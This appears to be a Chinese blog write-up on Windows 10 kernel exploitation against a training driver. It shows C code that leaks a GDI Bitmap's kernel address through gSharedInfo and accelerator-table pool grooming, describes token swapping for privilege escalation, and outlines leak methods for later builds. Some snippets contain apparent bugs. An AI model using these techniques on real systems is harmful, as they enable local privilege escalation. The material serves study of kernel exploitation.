ffffffff`ff540c27 ????????`???????? ????????`????????
ffffffff`ff540c37 ????????`???????? ????????`????????
ffffffff`ff540c47 ????????`???????? ????????`????????
ffffffff`ff540c57 ????????`???????? ????????`????????
ffffffff`ff540c67 ????????`???????? ????????`????????
ffffffff`ff540c77 ????????`???????? ????????`????????
ffffffff`ff540c87 ????????`???????? ????????`????????
ffffffff`ff540c97 ????????`???????? ????????`????????

实验中很明显的发现win 10 1607中我们的GdiShreadHanldleTable已经不是一个指针了,我们来看看有什么升级,图片中说明了已经不能够公开这个句柄表的地址了,那是不是就没办法了呢?

1564987015367

当然不是!我们总能够通过各种方法来泄露我们的 PrvScan0 ,这里就需要引入另外一个比较神奇的结构gSharedInfo

1
2
3
4
5
6
7
8
9
10
typedef struct _SHAREDINFO {
PSERVERINFO psi;
PUSER_HANDLE_ENTRY aheList;
ULONG HeEntrySize;
ULONG_PTR pDispInfo;
ULONG_PTR ulSharedDelts;
ULONG_PTR awmControl;
ULONG_PTR DefWindowMsgs;
ULONG_PTR DefWindowSpecMsgs;
} SHAREDINFO, * PSHAREDINFO;

其中的 aheList 结构如下,里面就保存了一个 pKernel 的指针,指向这个句柄的内核地址

1
2
3
4
5
6
7
8
9
10
11
12
typedef struct _USER_HANDLE_ENTRY {
void* pKernel;
union
{
PVOID pi;
PVOID pti;
PVOID ppi;
};
BYTE type;
BYTE flags;
WORD generation;
} USER_HANDLE_ENTRY, * PUSER_HANDLE_ENTRY;

先不管三七二十一,我们先泄露这个东西,再看看和我们的 Bitmap 有什么联系,关键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
LPACCEL lPaccel = NULL;
PUSER_HANDLE_ENTRY leakaddr = NULL;
HMODULE huser32 = NULL;
HACCEL hAccel = NULL;
int nSize = 700;

lPaccel = (LPACCEL)LocalAlloc(LPTR, sizeof(ACCEL) * nSize);
PSHAREDINFO pfindSharedInfo = (PSHAREDINFO)GetProcAddress(
GetModuleHandleW(L"user32.dll"),
"gSharedInfo");
PUSER_HANDLE_ENTRY handleTable = pfindSharedInfo->aheList;

for (int i = 0; i < 0x3; i++)
{
hAccel = CreateAcceleratorTable(lPaccel, nSize);
leakaddr = &handleTable[LOWORD(hAccel)];
DWORD64 addr = (DWORD64)(leakaddr->pKernel);
printf("[+]leak address : 0x%p", leakaddr->pKernel);
DestroyAcceleratorTable(hAccel);
if(i = 3)
{
CreateBitmap(0x710, 0x2, 0x1, 0x8, NULL);
}
}

运行一下查看结果,确实泄露了什么东西出来

1564969195115

解读一下上面的代码,我们首先创建了一块内存,其中的nSize选择了700的大小,因为后面我们使用CreateBitmap创建的对象传入的第一个参数是0x710,关于CreateBitmap中第一个参数width对生成对象的影响我就不过多阐述了,实验加上官方文档)可以给我们解释,然后我们获取了 user32.dll 中的 gSharedInfo 对象,我们在一个循环里使用 CreateAcceleratorTable 和 DestroyAcceleratorTable 不断创建释放了 hAccel 结构,其中计算的过程和我们泄露bitmap地址的过程类似,这里就会产生一个疑问,这个泄露的东西为什么和我们的 Bitmap 一样呢,要知道我们每次创建释放hAccel时候地址是固定的(你可以多打印几次进行实验),并且这个对象也是分配在会话池(sesssion pool),大小又相等,池类型又相同,如果我们申请了一块然后释放了,再用bitmap申请岂不是就可以申请到我们想要的地方,泄露的地址也就是bitmap的地址了,我们这里为了使得到的地址固定,堆喷射后使用了一个判断语句判断是否得到了稳定的地址,得到之后我们再加上相应的偏移也就是我们的 PrvScan0 了,于是我们构造如下代码片段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
LeakBitmapInfo GetBitmap()
{
UINT loadCount = 0;
HACCEL hAccel = NULL;
LPACCEL lPaccel = NULL;
PUSER_HANDLE_ENTRY firstEntryAddr = NULL;
PUSER_HANDLE_ENTRY secondEntryAddr = NULL;
int nSize = 700;
int handleIndex = 0;

PUCHAR firstAccelKernelAddr;
PUCHAR secondAccelKernelAddr;

PSHAREDINFO pfindSharedInfo = (PSHAREDINFO)GetProcAddress(GetModuleHandle(L"user32.dll"), "gSharedInfo"); // 获取gSharedInfo表
PUSER_HANDLE_ENTRY gHandleTable = pfindSharedInfo->aheList;
LeakBitmapInfo retBitmap;

lPaccel = (LPACCEL)LocalAlloc(LPTR, sizeof(ACCEL) * nSize);

while (loadCount < 20)
{
hAccel = CreateAcceleratorTable(lPaccel, nSize);

handleIndex = LOWORD(hAccel);

firstEntryAddr = &gHandleTable[handleIndex];

firstAccelKernelAddr = (PUCHAR)firstEntryAddr->pKernel;
DestroyAcceleratorTable(hAccel);

hAccel = CreateAcceleratorTable(lPaccel, nSize);

handleIndex = LOWORD(hAccel);

secondEntryAddr = &gHandleTable[handleIndex];

secondAccelKernelAddr = (PUCHAR)firstEntryAddr->pKernel;

if (firstAccelKernelAddr == secondAccelKernelAddr)
{
DestroyAcceleratorTable(hAccel);
LPVOID lpBuf = VirtualAlloc(NULL, 0x50 * 2 * 4, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
retBitmap.hBitmap = CreateBitmap(0x701, 2, 1, 8, lpBuf);
break;
}
DestroyAcceleratorTable(hAccel);
loadCount++;
}

retBitmap.pBitmapPvScan0 = firstAccelKernelAddr + 0x50;


printf("[+]bitmap handle is: 0x%08x \n", (ULONG)retBitmap.hBitmap);
printf("[+]bitmap pvScan0 at: 0x%p \n\n", retBitmap.pBitmapPvScan0);

return retBitmap;
}

泄露了之后就好办了,也就是只需要替换一个token就行了,我这里用的是read和write函数不断的进行汇编shellcode的模仿,在ring3层实现了对token的替换,这样我们就可以不加入我们的shellcode从而提权,而这种方法也不需要考虑堆栈平衡,非常的方便,其中获取系统的一些信息的时候使用了NtQuerySystemInformation这个函数,通过它可以给我们提供很多的系统信息,具体的可以参阅官方文档

1
2
3
4
5
6
__kernel_entry NTSTATUS NtQuerySystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength
);

最后整合一下思路:

  • 初始化句柄等结构
  • 通过gSharedInfo对象来泄露我们的Bitmap地址
  • 调用TriggerArbitraryOverwrite函数将一个pvScan0指向另一个pvScan0
  • 通过不断的read和write,模拟token的替换,从而提权

最后整合一下代码即可实现利用,整体代码和验证结果参考 => 这里

0x03:Windows 10 后续版本的猜想

RS2

RS2版本中貌似将我们的 pkernel 指针给移除了,也就是说我们不能再通过 gSharedInfo 结构来泄露我们的内核地址了,不过有前辈们用tagCLS对象及lpszMenuName对象泄露了内核地址,能够泄露的话其实其他地方都好办了,泄露的方法我这里简单提一下,首先我们需要找到HMValidateHandle函数的地址,这个函数我们只需要传入一个窗口句柄,他就会返回在桌面堆中的tagWND对象指针,而通过这个指针我们就可以泄露出内核地址,这个函数地址我们可以通过IsMenu这个用户态函数获取到,我们来看一下函数的内容,可以看到 call 之后会调用到HMValidateHandle这个函数,那么我们只需要通过硬编码计算,获取 e8(call) 之后的几个字节地址就行了

1
2
3
4
5
6
7
8
9
10
kd> u user32!IsMenu
USER32!IsMenu:
00007fff`17d489e0 4883ec28 sub rsp,28h
00007fff`17d489e4 b202 mov dl,2
00007fff`17d489e6 e805380000 call USER32!HMValidateHandle (00007fff`17d4c1f0)
00007fff`17d489eb 33c9 xor ecx,ecx
00007fff`17d489ed 4885c0 test rax,rax
00007fff`17d489f0 0f95c1 setne cl
00007fff`17d489f3 8bc1 mov eax,ecx
00007fff`17d489f5 4883c428 add rsp,28h

获取到HMValidateHandle函数之后我们只需要再进行一系列的计算获取lpszMenuName对象的地址,我们可以依据下图 Morten 所说的计算过程计算出Client delta

1565142151413

获取到了之后我们只需要和前面一样进行堆喷加上判断就能够泄露出Bitmap的地址,还需要注意的是偏移的问题,需要简要修改,下面是1703的一些偏移

1
2
3
4
2: kd> dt nt!_EPROCESS uniqueprocessid token activeprocesslinks
+0x2e0 UniqueProcessId : Ptr64 Void
+0x2e8 ActiveProcessLinks : _LIST_ENTRY
+0x358 Token : _EX_FAST_REF

RS3

RS3版本中 PvScan0 已经放进了堆中,既然是堆的话,又让人想到了堆喷射控制内核池,总之可以尝试一下这种方法

1564977577246

但是前辈们总有奇特的想法,又找到了另外一个对象 platte ,它类似与 bitmap 结构,可以用 CreatePalette 函数创建,结构如下

1564986199191

任意读写的方法只是改为了GetPaletteEntriesSetPaletteEntries,以后可以尝试一下这个思路

1564986238536

0x03:后记

利用里面,win8.1的坑比较多,和win7比起来差距有点大,需要细心调试,更往后的版本主要是参阅外国的文献,以后有时间再来实践

参考资料:

[+] SMEP原理及绕过:http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html

[+] ROP的选择:http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html

[+] Bitmap结构出处:http://gflow.co.kr/window-kernel-exploit-gdi-bitmap-abuse/

[+] wjllz师傅的博客:https://redogwu.github.io/

[+] 参阅过的pdf:https://github.com/ThunderJie/Study_pdf

[+] RS2上的利用分析:https://www.anquanke.com/post/id/168441#h2-3

[+] RS3上 platte 对象的利用分析:https://www.anquanke.com/post/id/168572